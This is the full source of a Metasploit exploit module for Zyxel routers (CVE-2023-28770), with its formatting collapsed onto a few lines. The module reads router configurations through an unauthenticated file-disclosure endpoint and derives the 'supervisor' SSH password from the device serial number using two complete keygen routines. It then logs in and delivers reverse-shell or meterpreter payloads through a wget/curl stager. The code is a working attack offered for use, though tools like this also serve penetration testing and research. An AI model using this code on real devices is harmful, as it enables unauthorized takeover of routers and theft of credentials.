Zyxel Chained Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'socket'require 'digest/md5'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::SSH  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  attr_accessor :ssh_socket  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm',        'Description' => %q{          This module exploits multiple vulnerabilities in the `zhttpd` binary (/bin/zhttpd)          and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.          The remote code execution vulnerability can be exploited by chaining the local file disclosure          vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration          of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.          With this information disclosure, the attacker can determine if the router is reachable via ssh          and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting          a weak implementation of a password derivation algorithm using the device serial number.          After exploitation, an attacker will be able to execute any command as user `supervisor`.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author of exploit chain and MSF module contributor          'SEC Consult Vulnerability Lab',          'Thomas Rinsma',          'Bogi Napoleon Wennerstrøm'        ],        'References' => [          ['CVE', '2023-28770'],          ['URL', 'https://r.sec-consult.com/zyxsploit'],          ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/'],          ['URL', 'https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/'],          ['URL', 'https://github.com/boginw/zyxel-vmg8825-keygen'],          ['URL', 'https://attackerkb.com/topics/tPAvkwQgDK/cve-2023-28770']        ],        'DisclosureDate' => '2022-02-01',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_MIPSBE],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_netcat'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_MIPSBE],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],              'DefaultOptions' => {                'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'              }            }          ],          [            'Interactive SSH',            {              'DefaultOptions' => {                'PAYLOAD' => 'generic/ssh/interact'              },              'Payload' => {                'Compat' => {                  'PayloadType' => 'ssh_interact'                }              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 80,          'SSL' => false,          'SSH_TIMEOUT' => 30,          'WfsDelay' => 5        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true])      ]    )    register_advanced_options(      [        OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])      ]    )  end  # supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers  # based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm  # https://github.com/boginw/zyxel-vmg8825-keygen  def double_hash(input, size = 8)    # ROUND 1    # take the MD5 hash from the serial number SXXXXXXXXXXXX    # this returns a hash of 32 char bytes.    # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char    # store two char bytes in round1 and continue with next two char bytes from the hash.    md5_str_array = Digest::MD5.hexdigest(input).split(//)    round1_str_array = Array.new(32)    j = 0    until j == 32      if md5_str_array[j] == '0'        round1_str_array[j] = md5_str_array[j + 1]      else        round1_str_array[j] = md5_str_array[j]      end      round1_str_array[j + 1] = md5_str_array[j + 1]      j += 2    end    round1 = round1_str_array.join    # ROUND 2    # take the MD5 hash from the result of round1    # returns a hash of 32 char bytes.    # read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char    # store two char bytes in round2 and continue with next two char bytes.    md5_str_array = Digest::MD5.hexdigest(round1).split(//)    round2_str_array = Array.new(32)    j = 0    until j == 32      if md5_str_array[j] == '0'        round2_str_array[j] = md5_str_array[j + 1]      else        round2_str_array[j] = md5_str_array[j]      end      round2_str_array[j + 1] = md5_str_array[j + 1]      j += 2    end    # ROUND 3    # take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3    # to create the final password hash with defined number (size) of alphanumeric characters and return the final result    round3_str_array = Array.new(size)    for i in 0..(size - 1) do      round3_str_array[i] = round2_str_array[i * 3]    end    round3 = round3_str_array.join    return round3  end  def mod3_key_generator(seed)    # key generator function used in the SerialNumMethod3 pasword derivation function    round4_array = Array.new(16, 0)    found0s = 0    found1s = 0    found2s = 0    while (found0s == 0) || (found1s == 0) || (found2s == 0)      found0s = 0      found1s = 0      found2s = 0      power_of_2 = 1      seed += 1      for i in 0..9 do        round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor        if (round4_array[i] == 1)          found1s += 1        elsif (round4_array[i]) == 2          found2s += 1        else          found0s += 1        end        power_of_2 = power_of_2 << 1      end    end    return seed, round4_array  end  def serial_num_method2(serial_number)    # SerialNumMethod2 password derivation function    pwd = double_hash(serial_number)    return pwd  end  def serial_num_method3(serial_number)    # SerialNumMethod3 password derivation function    # constant definitions    keystr1_byte_array = 'IO'.bytes.to_a    keystr2_byte_array = 'lo'.bytes.to_a    keystr3_byte_array = '10'.bytes.to_a    valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a    offset1 = 0x8    offset2 = 0x20    round3 = double_hash(serial_number, 10)    round3.upcase!    round3_byte_array = round3.bytes.to_a    md5_str = Digest::MD5.hexdigest(serial_number)    md5_str_array = md5_str.split(//)    offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5]    result = mod3_key_generator(offset.to_i(16))    offset = result[0]    round4 = result[1]    for i in 0..9 do      if round4[i] == 1        new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i        round3_byte_array[i] = new_val        for j in 0..1 do          next unless (round3_byte_array[i] == keystr1_byte_array[j])          index = offset1 + ((offset + j) % 0x18)          round3_byte_array[i] = valstr_byte_array[index]          break        end      elsif round4[i] == 2        new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i        round3_byte_array[i] = new_val        for j in 0..1 do          next unless (round3_byte_array[i] == keystr2_byte_array[j])          index = offset2 + ((offset + j) % 0x18)          round3_byte_array[i] = valstr_byte_array[index]          break        end      else        new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i        round3_byte_array[i] = new_val        for j in 0..1 do          next unless (round3_byte_array[i] == keystr3_byte_array[j])          var = ((offset + j) >> 0x1f) >> 0x1d          index = ((offset + j + var) & 7) - var          round3_byte_array[i] = valstr_byte_array[index]          break        end      end    end    pwd = round3_byte_array.pack('C*')    return pwd  end  def crack_supervisor_pwd(serial)    # crack supervisor password using the device serial number    # there are two confirmed hashing functions that can derive the supervisor password from the serial number:    # SerialNumMethod2 and SerialNumMethod3    # both passwords candidates will be returned as hashes    hash_pwd = { 'method2' => nil, 'method3' => nil }    # SerialNumMethod2    hash_pwd['method2'] = serial_num_method2(serial)    # SerialNumMethod3    hash_pwd['method3'] = serial_num_method3(serial)    print_status("Derived supervisor password using SerialNumMethod2: #{hash_pwd['method2']}")    print_status("Derived supervisor password using SerialNumMethod3: #{hash_pwd['method3']}")    return hash_pwd  end  def report_creds(user, pwd)    credential_data = {      module_fullname: fullname,      username: user,      private_data: pwd,      private_type: :password,      workspace_id: myworkspace_id,      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_details)    cred_res = create_credential_and_login(credential_data)    unless cred_res.nil?      print_status("Credentials for user:#{user} are added to the database.")    end  end  def get_configuration    # Get the device configuration by exploiting the LFI vulnerability    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/Export_Log?/data/zcfg_config.json')    })  end  # Initiate the process configuration exception class used in the process_configuration function  class ProcessConfigException < StandardError    attr_reader :exception_type    def initialize(msg = 'This is my custom process config exception', exception_type = 'custom')      @exception_type = exception_type      super(msg)    end  end  def process_configuration(res)    # Initiate the instance variable config to store the configuration    @config = {}    # Parse the device configuration json file    res_json = res.get_json_document    if res_json.blank?      raise ProcessConfigException.new 'No device configuration file found.', 'ConfigUnknown'    end    # process json output and retrieve information about supervisor user, ssh port and ssh WAN service status    # Also grab hardware and software version including the serial number to crack the password of user supervisor    @config['hardware'] = res_json.dig('DeviceInfo', 'HardwareVersion')    @config['software'] = res_json.dig('DeviceInfo', 'SoftwareVersion')    @config['serial'] = res_json.dig('DeviceInfo', 'SerialNumber')    login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp')    unless login_cfg.nil?      @config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor'    end    remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service')    unless remote_service.nil?      service = remote_service.select { |s| s['Name'] == 'SSH' }.first      if service&.fetch('Name', nil) == 'SSH'        @config['ssh_port'] = service['Port']        @config['ssh_wan_access'] = service['Mode']        @config['ssh_service_enabled'] = service['Enable']      end    end    print_status("Hardware:#{@config['hardware']} Firmware:#{@config['software']} Serial:#{@config['serial']}")    # check if all hash key/value pairs are populated and raise exceptions if retrieved config is not vulnerable    if @config['serial'].nil? || @config['ssh_user'].nil? || @config['ssh_port'].nil? || @config['ssh_wan_access'].nil? || @config['ssh_service_enabled'].nil?      raise ProcessConfigException.new 'Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.', 'ConfigUnknown'    end    # check if ssh service is enabled    # if true then check ssh_port is open and ssh service is accessible from the WAN side    if @config['ssh_service_enabled']      if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])        return      else        raise ProcessConfigException.new "WAN access to SSH service is NOT allowed or SSH port #{@config['ssh_port']} is closed. Try exploit from the LAN side.", 'ConfigUnreachable'      end    else      raise ProcessConfigException.new 'SSH service is NOT available.', 'ConfigNotVulnerable'    end  end  def execute_command(cmd, _opts = {})    Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }  rescue Timeout::Error    @timeout = true  end  def do_login(ip, user, pass, ssh_port)    # create SSH session and login    # if login is successfull, return true else return false. All other errors will trigger an immediate fail    opts = ssh_client_defaults.merge({      auth_methods: ['password', 'keyboard-interactive'],      port: ssh_port,      password: pass    })    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']    begin      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        self.ssh_socket = Net::SSH.start(ip, user, opts)      end    rescue Rex::ConnectionError      fail_with(Failure::Unreachable, 'Disconnected during negotiation')    rescue Net::SSH::Disconnect, ::EOFError      fail_with(Failure::Disconnected, 'Timed out during negotiation')    rescue Net::SSH::AuthenticationFailed      return false    rescue Net::SSH::Exception => e      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")    end    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket    return true  end  def check_port(port)    # checks network port and return true if open and false if closed.    Timeout.timeout(datastore['ConnectTimeout']) do      TCPSocket.new(datastore['RHOST'], port).close      return true    rescue StandardError      return false    end  rescue Timeout::Error    return false  end  def check    # Initiate the instance variable config to store the configuration    # @config = { 'hardware' => nil, 'software' => nil, 'serial' => nil, 'ssh_user' => nil, 'ssh_port' => nil, 'ssh_wan_access' => nil, 'ssh_service_enabled' => nil }    res = get_configuration    return CheckCode::Safe if res.nil? || res.code != 200    begin      process_configuration(res)    rescue ProcessConfigException => e      case e.exception_type      when 'ConfigNotVulnerable', 'ConfigUnreachable'        return CheckCode::Safe(e.message)      when 'ConfigUnknown'        return CheckCode::Unknown(e.message)      end    end    return CheckCode::Vulnerable  end  def exploit    # run if AutoCheck is false (@config = nil), otherwise use the information in @config gathered during the check method    unless @config      res = get_configuration      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if res.nil? || res.code != 200      begin        process_configuration(res)      rescue ProcessConfigException => e        case e.exception_type        when 'ConfigNotVulnerable'          return fail_with(Failure::NotVulnerable, e.message)        when 'ConfigUnreachable'          return fail_with(Failure::Unreachable, e.message)        when 'ConfigUnknown'          return fail_with(Failure::Unknown, e.message)        end      end    end    # extra checks added to handle ForceExploit true setting    if @config['ssh_service_enabled']      if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])        print_status("SSH service is available and SSH Port #{@config['ssh_port']} is open. Continue to login.")      else        fail_with(Failure::Unreachable, 'SSH service is not availabe and/or SSH port is closed.')      end    else      fail_with(Failure::BadConfig, 'SSH service and/or SSH port information is missing.')    end    # derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3    if @config['serial'].nil?      fail_with(Failure::BadConfig, 'Serial device number is missing to crack the supervisor password.')    else      supervisor_pwd = crack_supervisor_pwd(@config['serial'])    end    # try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2    if do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method3'], @config['ssh_port'])      print_status('Authentication with derived supervisor password using Method3 is successful.')      report_creds(@config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED']    elsif do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method2'], @config['ssh_port'])      print_status('Authentication with derived supervisor password using Method2 is successful.')      report_creds(@config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED']    else      fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.')    end    if target.name == 'Interactive SSH'      handler(ssh_socket)      return    end    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager(linemax: 500)    end    @timeout ? ssh_socket.shutdown! : ssh_socket.close  endend